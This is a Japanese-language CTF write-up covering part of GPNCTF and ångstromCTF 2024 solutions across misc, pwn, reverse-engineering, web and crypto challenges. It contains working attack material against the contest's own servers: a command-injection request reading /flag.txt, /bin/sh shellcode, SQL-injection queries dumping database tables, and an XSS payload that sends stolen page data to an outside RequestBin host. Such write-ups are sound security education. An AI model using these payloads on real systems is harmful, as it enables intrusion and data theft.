$ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin&#129312;", "password": "1e1234", "command": "ls -l"}' -A "friendlyHuman"
object(stdClass)#1 (3) {
  ["user"]=>
  string(9) "admin&#129312;"
  ["password"]=>
  string(6) "1e1234"
  ["command"]=>
  string(5) "ls -l"
}
total 8
-rwxr--r--    1 root     root          1733 May 28 18:34 index.php
-rw-r--r--    1 nobody   nobody          41 May 23 23:20 test.html
 hail admin what can I get you -rw-r--r--    1 nobody   nobody          41 May 23 23:20 test.html

$ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin&#129312;", "password": "1e1234", "command": "cat /flag.txt"}' -A "friendlyHuman"
object(stdClass)#1 (3) {
  ["user"]=>
  string(9) "admin&#129312;"
  ["password"]=>
  string(6) "1e1234"
  ["command"]=>
  string(13) "cat /flag.txt"
}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
 hail admin what can I get you GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}

Never gonna let you crypto (Crypto)

鍵の長さは5で、XORで暗号化されている。フラグは"GPNCTF{"で始まることを前提に復号する。

#!/usr/bin/env python3
with open('FLAG.enc', 'r') as f:
    enc = bytes.fromhex(f.read().rstrip())

pre_flag = b'GPNCT'
key = []
for i in range(len(pre_flag)):
    key.append(pre_flag[i] ^ enc[i])

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i % len(key)])
print(flag)
GPNCTF{One_T1me_p4ds_m4y_n3v3r_b3_r3u53d!!!}

ångstromCTF 2024 Writeup

この大会は2024/5/25 9:00(JST)~2024/5/28 9:00(JST)に開催されました。
今回もチームで参戦。結果は790点で831チーム中153位でした。
自分で解けた問題をWriteupとして書いておきます。

kcehC ytinaS (MISC 10)

Discordに入り、#rolesチャネルでflagのリアクションをすると、たくさんのチャネルが現れた。
#miscチャネルのトピックに以下にようにフラグが逆順で書いてある。

}egassem_terces_ym_edoced_uoy_did_woh{ftca
$ echo }egassem_terces_ym_edoced_uoy_did_woh{ftca | rev
actf{how_did_you_decode_my_secret_message}
actf{how_did_you_decode_my_secret_message}

Putnam (MISC 10)

計算問題が出題されるので、答えるだけ。

$ nc challs.actf.co 31337
514 + 97 = ?
611
You succeeded! The flag is actf{just_a_tad_easier_than_the_actual_putnam} :D
actf{just_a_tad_easier_than_the_actual_putnam}

trip (MISC 30)

$ exiftool trip.jpeg 
ExifTool Version Number         : 12.57
File Name                       : trip.jpeg
Directory                       : .
File Size                       : 1906 kB
File Modification Date/Time     : 2024:05:25 09:11:42+09:00
File Access Date/Time           : 2024:05:25 10:46:39+09:00
File Inode Change Date/Time     : 2024:05:25 10:46:10+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
Camera Model Name               : iPhone 15 Pro
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 17.4.1
Modify Date                     : 2024:04:18 05:54:34
Host Computer                   : iPhone 15 Pro
Exposure Time                   : 1/33
F Number                        : 1.8
Exposure Program                : Program AE
ISO                             : 1000
Exif Version                    : 0232
        :
        :
GPS Altitude                    : 1 m Above Sea Level
GPS Date/Time                   : 2024:04:18 09:54:33.79Z
GPS Latitude                    : 37 deg 56' 23.60" N
GPS Longitude                   : 75 deg 26' 17.11" W
Circle Of Confusion             : 0.008 mm
Field Of View                   : 73.7 deg
Focal Length                    : 6.8 mm (35 mm equivalent: 24.0 mm)
GPS Position                    : 37 deg 56' 23.60" N, 75 deg 26' 17.11" W
Hyperfocal Distance             : 3.04 m
Light Value                     : 3.4
Lens ID                         : iPhone 15 Pro back triple camera 6.765mm f/1.78

以下の通り緯度・経度がわかるので、Google Mapで調べる。

37°56'23.60"N 75°26'17.11"W

Chincoteague Rd であることがわかる。

actf{chincoteague}

aw man (MISC 50)

パスフレーズなしでsteghideで秘密情報を抽出してみる。

$ steghide extract -sf mann.jpg                      
Enter passphrase: 
wrote extracted data to "enc.txt".
$ cat enc.txt
5RRjnsi3Hb3yT3jWgFRcPWUg5gYXe81WPeX3vmXS

base58と推測し、https://www.dcode.fr/base-58-cipherで復号する。

actf{crazy?_i_was_crazy_once}

do you wanna build a snowman (MISC 50)

ほぼJPG形式のデータだが、先頭1バイトが間違っている。"\xfd"を"\xff"に修正すると、画像にフラグが書いてあった。

actf{built_the_snowman}

exam (PWN 50)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_e8 [64];
  char local_a8 [152];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdout,(char *)0x0);
  printf("How much should I not trust you? >:)\n: ");
  __isoc99_scanf(&DAT_001020e0,&detrust);
  fgets(local_a8,0x96,stdin);
  if (detrust < 0) {
    puts("Don\'t try to trick me into trusting you >:(");
  }
  else {
    trust_level = trust_level - detrust;
    if (trust_level == threshold) {
      puts("What kind of cheating are you doing?");
      puts("You haven\'t even signed your statement yet!");
      puts("You are BANNED from all future AP exams!!!");
    }
    else {
      while (trust_level < threshold) {
        puts("\nI don\'t trust you enough >:)");
        printf(
              "Prove your trustworthyness by reciting the statement on the front cover of the Sectio n I booklet >:)\n: "
              );
        fgets(local_a8,0x96,stdin);
        iVar1 = strcmp(local_a8,
                       "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.\n"
                      );
        if (iVar1 == 0) {
          trust_level = trust_level + -1;
        }
      }
      __stream = fopen("flag.txt","r");
      fgets(local_e8,0x40,__stream);
      puts("\nYou will now take the multiple-choice portion of the exam.");
      puts("You should have in front of you the multiple-choice booklet and your answer sheet. ");
      printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n",
             local_e8);
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

                             trust_level                                     XREF[7]:     Entry Point(*), main:001012ba(R), 
                                                                                          main:001012ca(W), 
                                                                                          main:001012d0(R), 
                                                                                          main:0010135f(R), 
                                                                                          main:00101368(W), 
                                                                                          main:0010136e(R)  
        0010403c 00 00 00 00     undefined4 00000000h

                             threshold                                       XREF[3]:     Entry Point(*), main:001012d6(R), 
                                                                                          main:00101374(R)  
        00104010 fe ff ff 7f     undefined4 7FFFFFFEh

trust_levelが0x7fffffffになればよい。

>>> 0x7fffffff
2147483647

以下のように指定すれば、最終的にtrust_levelが0x7fffffffになる。

・最初にdetrustに2147483647を指定する。
・3回"I confirm that I am taking this exam ..."を入力する。
#!/usr/bin/env python3
from pwn import *

p = remote('challs.actf.co', 31322)

detrust = 2**31 - 1
data = p.recvuntil(b': ').decode()
print(data + str(detrust))
p.sendline(str(detrust).encode())

phrase = 'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.\n'

for i in range(3):
    data = p.recvuntil(b': ').decode()
    print(data + phrase)
    p.sendline(str(phrase).encode())

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to challs.actf.co on port 31322: Done
How much should I not trust you? >:)
: 2147483647

I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


I don't trust you enough >:)
Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)
: I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.


You will now take the multiple-choice portion of the exam.
You should have in front of you the multiple-choice booklet and your answer sheet.
You will have actf{manifesting_those_fives} minutes for this section. Open your Section I booklet and begin.
[*] Closed connection to challs.actf.co port 31322
actf{manifesting_those_fives}

presidential (PWN 100)

シェルコードを送り込み、/bin/shを実行できる。
以下のページのシェルコードを使う。

https://www.exploit-db.com/exploits/46907
$ nc challs.actf.co 31200
White House declared Python to be memory safe :tm:
So enter whatever you want &#128077; (in hex): 4831f65648bf2f62696e2f2f736857545f6a3b58990f05
ls
run
cat run
#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "actf{python_is_memory_safe_4a105261}"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want &#128077; (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye") 13 00:00 var
actf{python_is_memory_safe_4a105261}

Guess the Flag (REV 20)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  byte *pbVar3;
  long in_FS_OFFSET;
  byte local_68 [72];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Go ahead, guess the flag: ");
  fgets((char *)local_68,0x3f,stdin);
  pbVar3 = local_68;
  while( true ) {
    sVar2 = strlen((char *)local_68);
    if (sVar2 <= (ulong)((long)pbVar3 - (long)local_68)) break;
    *pbVar3 = *pbVar3 ^ 1;
    pbVar3 = pbVar3 + 1;
  }
  iVar1 = strcmp((char *)local_68,secretcode);
  if (iVar1 == 0) {
    puts("Correct! It was kinda obvious tbh.");
  }
  else {
    puts("Wrong. Not sure why you\'d think it\'d be that.");
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

                             secretcode                                      XREF[2]:     Entry Point(*), main:00101146(*)  
        00104020 60 62 75        undefine
                 67 7a 62 
                 6e 6c 6c 
           00104020 60              undefined160h                     [0]                               XREF[2]:     Entry Point(*), main:00101146(*)  
           00104021 62              undefined162h                     [1]
           00104022 75              undefined175h                     [2]
           00104023 67              undefined167h                     [3]
           00104024 7a              undefined17Ah                     [4]
           00104025 62              undefined162h                     [5]
           00104026 6e              undefined16Eh                     [6]
           00104027 6c              undefined16Ch                     [7]
           00104028 6c              undefined16Ch                     [8]
           00104029 68              undefined168h                     [9]
           0010402a 75              undefined175h                     [10]
           0010402b 75              undefined175h                     [11]
           0010402c 64              undefined164h                     [12]
           0010402d 65              undefined165h                     [13]
           0010402e 5e              undefined15Eh                     [14]
           0010402f 75              undefined175h                     [15]
           00104030 6e              undefined16Eh                     [16]
           00104031 5e              undefined15Eh                     [17]
           00104032 75              undefined175h                     [18]
           00104033 69              undefined169h                     [19]
           00104034 64              undefined164h                     [20]
           00104035 5e              undefined15Eh                     [21]
           00104036 6d              undefined16Dh                     [22]
           00104037 64              undefined164h                     [23]
           00104038 60              undefined160h                     [24]
           00104039 72              undefined172h                     [25]
           0010403a 75              undefined175h                     [26]
           0010403b 5e              undefined15Eh                     [27]
           0010403c 72              undefined172h                     [28]
           0010403d 68              undefined168h                     [29]
           0010403e 66              undefined166h                     [30]
           0010403f 6f              undefined16Fh                     [31]
           00104040 68              undefined168h                     [32]
           00104041 67              undefined167h                     [33]
           00104042 68              undefined168h                     [34]
           00104043 62              undefined162h                     [35]
           00104044 60              undefined160h                     [36]
           00104045 6f              undefined16Fh                     [37]
           00104046 75              undefined175h                     [38]
           00104047 5e              undefined15Eh                     [39]
           00104048 63              undefined163h                     [40]
           00104049 68              undefined168h                     [41]
           0010404a 75              undefined175h                     [42]
           0010404b 7c              undefined17Ch                     [43]
           0010404c 00              undefined100h                     [44]

1とXORしてsecretcodeになるものを算出すればよい。

#!/usr/bin/env python3

with open('guess_the_flag', 'rb') as f:
    enc = f.read()[0x3020:0x304c]

flag = ''
for c in enc:
    flag += chr(c ^ 1)
print(flag)
actf{committed_to_the_least_significant_bit}

switcher (REV 50)

Ghidraでデコンパイルする。

undefined8 FUN_001010a0(void)

{
  long lVar1;
  
  printf(&UNK_00139035);
  fflush(stdout);
  fgets(0x193060,0x100,stdin);
  lVar1 = strcspn(0x193060,&UNK_00139018);
  *(undefined *)(lVar1 + 0x193060) = 0;
  FUN_00105540(0x193060);
  puts(&UNK_0013901a);
  return 1;
}

void FUN_00105540(char *param_1)

{
  if (*param_1 != 'j') {
    return;
  }
  FUN_00105520(param_1 + 1);
  return;
}

void FUN_00105520(char *param_1)

{
  if (*param_1 != 'u') {
    return;
  }
  FUN_00105500(param_1 + 1);
  return;
}
        :

順に関数を追い、条件の文字を並べていく。

jumping_my_way_to_the_flag_one_by_one
actf{jumping_my_way_to_the_flag_one_by_one}

spinner (WEB 50)

HTMLソースを見ると、以下のスクリプトが書いてある。

    const message = async () => {
        if (state.flagged) return
        const element = document.querySelector('.message')
        element.textContent = Math.floor(state.total / 360)

        if (state.total >= 10_000 * 360) {
            state.flagged = true
            const response = await fetch('/falg', { method: 'POST' })
            element.textContent = await response.text()
        }
    }

/falgにPOSTメソッドでアクセスしてみる。

$ curl https://spinner.web.actf.co/falg -X POST               
actf{b152d497db04fcb1fdf6f3bb64522d5e}
actf{b152d497db04fcb1fdf6f3bb64522d5e}

markdown (WEB 80)

<img src=x onerror=alert(document.domain)>を入力したら、ドメインがポップアップされた。XSSの問題と推測できる。
以下を入力し、アクセスしたら/flagのデータをRequestBinのサイトに転送するようにする。

<img src=x onerror='fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("https://<RequestBinドメイン>/flag", z))'>

生成された以下のURLにボットからアクセスする。

https://markdown.web.actf.co/view/aab29810a089b94f

RequestBinにアクセスが来ているので、データを見るとフラグがあった。

actf{b534186fa8b28780b1fcd1e95e2a2e2c}

store (WEB 100)

SQLインジェクションができそうだが、scriptにより使用できる文字に制限がある。curlでアクセスして制限をすり抜けられるか見てみる。

$ curl https://store.web.actf.co/search -d "item=' or 1=1 --"

    <link rel="stylesheet" href="/style.css">
    <div class="container">
        <h1>The Ãrmstrong Storefront Inventory</h1>
        <form action="/search" method="POST">
            <input
                type="text"
                name="item"
                placeholder="Otamatone, Echo dot, Razer Cynosa Chroma..."
            >
            <input type="submit" value="Search">
        </form>
        <script>
            const form = document.querySelector('form')
            form.addEventListener('submit', (event) => {
                const item = form.querySelector('input[name="item"]').value
                const allowed = new Set(
                    'abcdefghijklmnop' +
                    'qrstuvwxyzABCDEF' +
                    'GHIJKLMNOPQRSTUV' +
                    'WXYZ0123456789, '
                )
                if (item.split('').some((char) => !allowed.has(char))) {
                    alert('Invalid characters in search query.')
                    event.preventDefault()
                }
            })
        </script>
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>Otamatone</td>
                        <td>A extremely serious synthesizer. Comes in a variety of colors.</td>
                    </tr>
                
                    <tr>
                        <td>Echo dot</td>
                        <td>A smart speaker that can play music, make calls, and answer questions.</td>
                    </tr>
                
                    <tr>
                        <td>Razer Cynosa Chroma</td>
                        <td>A gaming keyboard with customizable RGB lighting.</td>
                    </tr>
                
            </table>
        
    </div>

どうやらすり抜けられそう。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', 'C' --"

                :

            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>C</td>
                    </tr>
                
            </table>
        
    </div>

データベースを調べる。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', sqlite_version() --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>3.45.3</td>
                    </tr>
                
            </table>
        
    </div>

SQLiteであることがわかった。

$ curl https://store.web.actf.co/search -d "item=' union select 'A', name, sql from sqlite_master where type = 'table' --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>flagsb408b65ed60a259eb6a452bed919a39d</td>
                        <td>CREATE TABLE flagsb408b65ed60a259eb6a452bed919a39d ( flag TEXT)</td>
                    </tr>
                
                    <tr>
                        <td>items</td>
                        <td>CREATE TABLE items (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT,
        detail TEXT
    )</td>
                    </tr>
                
                    <tr>
                        <td>sqlite_sequence</td>
                        <td>CREATE TABLE sqlite_sequence(name,seq)</td>
                    </tr>
                
            </table>
        
    </div>

$ curl https://store.web.actf.co/search -d "item=' union select 'A', 'B', flag from flagsb408b65ed60a259eb6a452bed919a39d --"

                :
        
            <table>
                <tr>
                    <th>Name</th>
                    <th>Details</th>
                </tr>
                
                    <tr>
                        <td>B</td>
                        <td>actf{37619bbd0b81c257b70013fa1572f4ed}</td>
                    </tr>
                
            </table>
        
    </div>
actf{37619bbd0b81c257b70013fa1572f4ed}

erm what the enigma (CRYPTO 20)

エニグマ暗号。https://cryptii.com/pipes/enigma-machineで復号する。

actf{i_love_enigmatic_machines_mwah}

PHIlosophy (CRYPTO 40)

RSA暗号。n, e, cの他に以下で定義されたphiがわかっている。

phi = (p + 1) * (q + 1)

p + q は以下で計算できる。

p + q = p * q - n + p + q + 1 - 1
      = (p + 1) * (q + 1) - n - 1
      = phi - n - 1

本来のphiは以下のように計算できる。

real_phi = (p - 1) * (q - 1) = p * q - (p + q) + 1
         = n - (phi - n - 1) + 1 = n * 2 - phi + 2

あとは通常通り復号することができる。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673
e = 65537
c = 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758
phi = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308

real_phi = n * 2 - phi + 2
d = inverse(e, real_phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
actf{its_okay_i_figured_out_phi_anyway}

layers (CRYPTO 50)

サーバの処理概要は以下の通り。

・phrase: フラグ
・choice: 入力
・choiceが"1"の場合
 ・message: 入力
 ・encrypted = encrypt(phrase, message)
 ・encryptedを16進数表記で表示
・choiceが"2"の場合
 ・message: 入力→hexデコード
 ・encrypted = encrypt(phrase, message)
 ・encryptedを16進数表記で表示
・choiceが"3"の場合
 ・encrypt(phrase, phrase.encode())を16進数表記で表示

encrypt関数はkeyをハッシュを使って1000回XORをしているが、XORの鍵がどの平文でも同じため、フラグと同じ長さの平文と暗号文から鍵を割り出すことができる。あとはその鍵でフラグを復号すればよい。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31398))

data = recvuntil(s, b'> ')
print(data + '3')
s.sendall(b'3\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)

s.close()

pt = 'a' * len(enc_flag)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31398))

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = bytes.fromhex(data)

s.close()

flag = strxor(strxor(pt.encode(), ct), enc_flag).decode()
print(flag)

実行結果は以下の通り。

Welcome to my encryption service!
Surely encrypting multiple times will make it more secure.
1. Encrypt message.
2. Encrypt (hex) message.
3. See encrypted flag!
Pick 1, 2, or 3 > 3
fb7fdbf9e714a08ce9cdf109bb527acba27accfeff16fcdcb1cdf358bb557898aa2d9da9af5c
Welcome to my encryption service!
Surely encrypting multiple times will make it more secure.
1. Encrypt message.
2. Encrypt (hex) message.
3. See encrypted flag!
Pick 1, 2, or 3 > 1
Your message > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
fb7dcefefd40f8dee99ba05ce9507a9ffb7dcefefd40f8dee99ba05ce9507a9ffb7dcefefd40
actf{593a7043ca58fcac7ec972e3dcf01263}
actf{593a7043ca58fcac7ec972e3dcf01263}

random rabin (CRYPTO 80)

サーバの処理概要は以下の通り。

・以下64回繰り返し
 ・success = game()
  ・pk, sk = keygen()
   ・p: 512ビット素数、4で割ると余り3
   ・q: 512ビット素数、4で割ると余り3
   ・n = p * q
   ・n, (n, p, q)を返却
  ・pkを表示
  ・secret: ランダム16バイト文字列
  ・m: secretの数値化
  ・decrypt(sk, encrypt(pk, m))を表示
  ・guess: 入力→hexデコード
  ・guessとsecretが一致していたらTrueを返却、一致していなければFalseを返却
 ・successがFalseの場合、終了
・フラグを表示

secretは128ビットなので、2乗してもnを超えることはない。つまり、decrypt(sk, encrypt(pk, m))の値を2乗してnで割った余りの平方根を取れば、secretになる。

#!/usr/bin/env python3
import socket
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.actf.co', 31300))

for _ in range(64):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    n = int(data.split(' ')[-1])
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    m = int(data.split(' ')[-1])
    c = pow(m, 2, n)
    m, success = gmpy2.iroot(c, 2)
    assert success
    guess = long_to_bytes(m).hex()
    data = recvuntil(s, b': ')
    print(data + guess)
    s.sendall(guess.encode() + b'\n')

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Round 1
pubkey: 65640817302278544617584921034009253776338898787643315721697995432587666221203453100090811799200041487797682139548343893034329122358804607492323946863739552978168309551208592211487690446961311846287905400729834257424116433958725697576190301572717559964970092670821458741132503164276671274903205385742274854277
plaintext: 65640817302278544617584921034009253776338898787643315721697995432587666221203453100090811799200041487797682139548343893034329122358804607492323946863739552978168309551208592211487690446961311846287905400729834257424116433958725697576190301572717559964970092670821458741086742385715630945016320035746335028604
gimme the secret: 226d34933040cbe0e6175a31e99b0809
Round 2
pubkey: 151353116603253487015928012756270641382785978852781180142696174273267174852596597279937972805455848289300889890963155389201359538768100217716137338804532964528233069325540950384128458327364190494902443528785644357341132352075851969162369473922511493251975441491262608872450594907684347711901119274672058097217
plaintext: 151353116603253487015928012756270641382785978852781180142696174273267174852596597279937972805455848289300889890963155389201359538768100217716137338804532964528233069325540950384128458327364190494902443528785644357341132352075851969162369473922511493251975441491262608872169236039229848845324196052214396629678
gimme the secret: d3abbf3a935b1b80cf94869669d32b93
Round 3
pubkey: 94715846319244401828832261461221078823185634941129704536318212927684315234465864814676895561277097930989101376836363098010858156565501829742884169268143525945712553815046469508383913970978041596236144041298978109900870580651476135834719586202752521694743345455116929876553330636998049333901497800921917176993
plaintext: 52570874094447232096065694751801211789048525336191026035598405822957101214151497517048906380524128094920129357334478508217514436271920423889342985121260637490817966832188338899239910688716924747708863074238035421559540545817534363555185948071566843976236204579742139216843084111830709016853578206738814565153
gimme the secret: 93bf96bf17d2a587dc1f9929df8e2cd2
        :
        :
Round 61
pubkey: 91753152672491444711986149193958444346073801430608438712987809916743539557647859810858481167984601838610808614884997234602729314556772332911445112968152740373330603705215927345517896982240468809446352907050596526514843362427736396711278189709720879738260599292354489361664554919852259925807223337591218432389
plaintext: 34683182651340948984446495247442060764
gimme the secret: 1a17bcedcbe8bfa835b0772af68f25dc
Round 62
pubkey: 124605692571593853854551971539353910189107235568011266186981507520510726647391034283359185478133301188298611155211242849757081847423198305799599032840989725412252581956064682174549900407502667102930234995327013189461811416414420958578728173374577260942076363792144539797760163012671171558470314438457477143829
plaintext: 23486043354717999615480035322722323261440622185396551115910484236230876665542749737369534481795324001000180842535503543664724917376379655994634183936305374833956235013558855305740383887378930837340548060966195619676962810678883643121172941611099318144128053221168127146077723155018295706790205227896802430240
gimme the secret: 81a1daa49218d549207b8e246901c5f5
Round 63
pubkey: 137676847909121467711994690328330511334023933317513775934994254024263738970419339950446728232983625633054272235061339814913204828009140948270964842516373451642969301230962351916868458195573462302000328405016537520396501123548763785006752925037488035844859202697290385955266229538997785658249963633295951358773
plaintext: 159776935317828183337471825608080756007
gimme the secret: 7833eb1d408e99264fba4da5489a0d27
Round 64
pubkey: 87469935789602122365376829699388395717193253949479167965482178115437676058428669843222171723936706428519026776168371251906062607931403480759042384240568190914532352657129387788396063916990641045089455088313852226722897713318670768847900342899238222132886844022800786542407139175947106946265399088889657912697
plaintext: 9618134946819454115547809043605594438844646179149769811797126037818623585150421789617678769573290547774997301042885041191527832104181599643939503386198314284989597703868922914553097891602946729889378356614857600936821625494861246325498053946477930930087027854717922864501824618372851230411968333313262681172
gimme the secret: a2ca2699f5fe29a2cef387059d63e98b
actf{f4ncy_squ4re_r00ts_53a370c33f192973}
actf{f4ncy_squ4re_r00ts_53a370c33f192973}